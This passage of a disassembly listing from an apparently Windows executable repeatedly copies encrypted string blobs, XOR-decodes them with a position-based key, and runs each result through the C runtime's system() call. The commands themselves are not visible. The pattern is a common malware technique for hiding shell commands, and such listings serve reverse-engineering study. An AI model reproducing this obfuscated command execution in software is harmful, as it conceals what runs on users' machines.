psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x88
jl 0x140011d60
jmp 0x140011ea3
lea r9, [rbp + 0x2430]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x88
jl 0x140011e70
lea rcx, [rbp + 0x2430]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a3260]
movups xmmword [rbp + 0x1dd0], xmm0
movups xmm0, xmmword [0x1400a3280]
movups xmmword [rbp + 0x1df0], xmm0
movups xmm0, xmmword [0x1400a32a0]
movups xmm1, xmmword [0x1400a3270]
movups xmmword [rbp + 0x1e10], xmm0
movups xmmword [rbp + 0x1de0], xmm1
movups xmm0, xmmword [0x1400a32c0]
movups xmm1, xmmword [0x1400a3290]
movups xmmword [rbp + 0x1e30], xmm0
movups xmmword [rbp + 0x1e00], xmm1
movups xmm0, xmmword [0x1400a32e0]
movups xmm1, xmmword [0x1400a32b0]
movups xmmword [rbp + 0x1e50], xmm0
movups xmmword [rbp + 0x1e20], xmm1
movzx eax, byte [0x1400a32f8]
movsd xmm0, qword [0x1400a32f0]
movups xmm1, xmmword [0x1400a32d0]
mov byte [rbp + 0x1e68], al
movsd qword [rbp + 0x1e60], xmm0
movups xmmword [rbp + 0x1e40], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14001209b
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1dd4]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140011f92
cmp r8d, 0x99
jge 0x1400120e3
movsxd rax, r8d
lea r9, [rbp + 0x1dd0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x1400120b0
lea rcx, [rbp + 0x1dd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a58e0]
movups xmmword [rbp + 0x1b30], xmm0
movups xmm0, xmmword [0x1400a5900]
movups xmm1, xmmword [0x1400a58f0]
movups xmmword [rbp + 0x1b50], xmm0
movups xmmword [rbp + 0x1b40], xmm1
movups xmm0, xmmword [0x1400a5920]
movups xmm1, xmmword [0x1400a5910]
movups xmmword [rbp + 0x1b70], xmm0
movups xmmword [rbp + 0x1b60], xmm1
mov eax, dword [0x1400a5970]
movups xmm0, xmmword [0x1400a5940]
movups xmm1, xmmword [0x1400a5930]
mov dword [rbp + 0x1bc0], eax
movups xmmword [rbp + 0x1b90], xmm0
movups xmmword [rbp + 0x1b80], xmm1
movzx eax, word [0x1400a5974]
movups xmm0, xmmword [0x1400a5960]
movups xmm1, xmmword [str.JXT_SPe]
mov word [rbp + 0x1bc4], ax
movups xmmword [rbp + 0x1bb0], xmm0
movups xmmword [rbp + 0x1ba0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x1400122d9
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1b34]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x1400121d0
cmp r8d, 0x96
jge 0x140012323
movsxd rax, r8d
lea r9, [rbp + 0x1b30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x1400122f0
lea rcx, [rbp + 0x1b30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5230]
movups xmmword [rbp + 0x19f0], xmm0
movups xmm0, xmmword [0x1400a5250]
movups xmm1, xmmword [0x1400a5240]
movups xmmword [rbp + 0x1a10], xmm0
movups xmmword [rbp + 0x1a00], xmm1
movups xmm0, xmmword [0x1400a5270]
movups xmm1, xmmword [0x1400a5260]
movups xmmword [rbp + 0x1a30], xmm0
movups xmmword [rbp + 0x1a20], xmm1
mov eax, dword [0x1400a52c0]
movups xmm0, xmmword [0x1400a5290]
movups xmm1, xmmword [0x1400a5280]
mov dword [rbp + 0x1a80], eax
movups xmmword [rbp + 0x1a50], xmm0
movups xmmword [rbp + 0x1a40], xmm1
movzx eax, word [0x1400a52c4]
movups xmm0, xmmword [0x1400a52b0]
movups xmm1, xmmword [0x1400a52a0]
mov word [rbp + 0x1a84], ax
movups xmmword [rbp + 0x1a70], xmm0
movups xmmword [rbp + 0x1a60], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140012519
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x19f4]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140012410
cmp r8d, 0x96
jge 0x140012563
movsxd rax, r8d
lea r9, [rbp + 0x19f0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x140012530
lea rcx, [rbp + 0x19f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a3a50]
movups xmmword [rbp + 0xa50], xmm0
movups xmm0, xmmword [0x1400a3a70]
movups xmmword [rbp + 0xa70], xmm0
movups xmm0, xmmword [0x1400a3a90]
movups xmm1, xmmword [0x1400a3a60]
movups xmmword [rbp + 0xa90], xmm0
movups xmmword [rbp + 0xa60], xmm1
movzx eax, word [0x1400a3ac8]
movups xmm0, xmmword [0x1400a3ab0]
movups xmm1, xmmword [0x1400a3a80]
mov word [rbp + 0xac8], ax
movups xmmword [rbp + 0xab0], xmm0
movups xmmword [rbp + 0xa80], xmm1
movzx eax, byte [0x1400a3aca]
movsd xmm0, qword [0x1400a3ac0]
movups xmm1, xmmword [0x1400a3aa0]
mov byte [rbp + 0xaca], al
movsd qword [rbp + 0xac0], xmm0
movups xmmword [rbp + 0xaa0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140012753
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xa54]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140012650
cmp r8d, 0x7b
jge 0x140012790
movsxd rax, r8d
lea r9, [rbp + 0xa50]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7b
jl 0x140012760
lea rcx, [rbp + 0xa50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a3490]
movups xmmword [rbp + 0xb50], xmm0
movups xmm0, xmmword [0x1400a34b0]
movups xmmword [rbp + 0xb70], xmm0
movups xmm0, xmmword [0x1400a34d0]
movups xmm1, xmmword [0x1400a34a0]
movups xmmword [rbp + 0xb90], xmm0
movups xmmword [rbp + 0xb60], xmm1
mov eax, dword [0x1400a3508]
movups xmm0, xmmword [0x1400a34f0]
movups xmm1, xmmword [0x1400a34c0]
mov dword [rbp + 0xbc8], eax
movups xmmword [rbp + 0xbb0], xmm0
movups xmmword [rbp + 0xb80], xmm1
movzx eax, byte [0x1400a350c]
movsd xmm0, qword [0x1400a3500]
movups xmm1, xmmword [0x1400a34e0]
mov byte [rbp + 0xbcc], al
movsd qword [rbp + 0xbc0], xmm0
movups xmmword [rbp + 0xba0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140012973
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xb54]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140012870
cmp r8d, 0x7d
jge 0x1400129b0
movsxd rax, r8d
lea r9, [rbp + 0xb50]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7d
jl 0x140012980
lea rcx, [rbp + 0xb50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0xa52d0]
lea rcx, [rbp + 0x2c20]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movzx eax, byte [rax + 0xa0]
mov byte [rcx + 0xa0], al
mov r8d, edi
cmp r14d, 2
jl 0x140012b89
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2c24]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x140012a80
cmp r8d, 0xa1
jge 0x140012bd3
movsxd rax, r8d
lea r9, [rbp + 0x2c20]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa1
jl 0x140012ba0
lea rcx, [rbp + 0x2c20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5690]
movups xmmword [rbp + 0x13c0], xmm0
movups xmm0, xmmword [0x1400a56b0]
movups xmm1, xmmword [0x1400a56a0]
movups xmmword [rbp + 0x13e0], xmm0
movups xmmword [rbp + 0x13d0], xmm1
mov eax, dword [0x1400a5720]
movups xmm0, xmmword [0x1400a56d0]
movups xmm1, xmmword [0x1400a56c0]
mov dword [rbp + 0x1450], eax
movups xmmword [rbp + 0x1400], xmm0
movups xmmword [rbp + 0x13f0], xmm1
movzx eax, word [0x1400a5724]
movups xmm0, xmmword [0x1400a56f0]
movups xmm1, xmmword [0x1400a56e0]
mov word [rbp + 0x1454], ax
movups xmmword [rbp + 0x1420], xmm0
movups xmmword [rbp + 0x1410], xmm1
movzx eax, byte [0x1400a5726]
movups xmm0, xmmword [0x1400a5710]
movups xmm1, xmmword [0x1400a5700]
mov byte [rbp + 0x1456], al
movups xmmword [rbp + 0x1440], xmm0
movups xmmword [rbp + 0x1430], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140012dd9
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x13c4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140012cd0
cmp r8d, 0x97
jge 0x140012e23
movsxd rax, r8d
lea r9, [rbp + 0x13c0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x140012df0
lea rcx, [rbp + 0x13c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a49c0]
movups xmmword [rbp + 0x2090], xmm0
movups xmm0, xmmword [0x1400a49e0]
movups xmmword [rbp + 0x20b0], xmm0
movups xmm0, xmmword [0x1400a4a00]
movups xmm1, xmmword [0x1400a49d0]
movups xmmword [rbp + 0x20d0], xmm0
movups xmmword [rbp + 0x20a0], xmm1
movups xmm0, xmmword [0x1400a4a20]
movups xmm1, xmmword [0x1400a49f0]
movups xmmword [rbp + 0x20f0], xmm0
movups xmmword [rbp + 0x20c0], xmm1
movups xmm0, xmmword [0x1400a4a40]
movups xmm1, xmmword [0x1400a4a10]
movups xmmword [rbp + 0x2110], xmm0
movups xmmword [rbp + 0x20e0], xmm1
mov eax, dword [0x1400a4a58]
movsd xmm0, qword [0x1400a4a50]
movups xmm1, xmmword [0x1400a4a30]
mov dword [rbp + 0x2128], eax
movsd qword [rbp + 0x2120], xmm0
movups xmmword [rbp + 0x2100], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14001301a
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2094]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140012f11
cmp r8d, 0x9c
jge 0x140013063
movsxd rax, r8d
lea r9, [rbp + 0x2090]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x140013030
lea rcx, [rbp + 0x2090]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbx + 0xa3870]
lea rdx, [rbp + 0x2e30]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
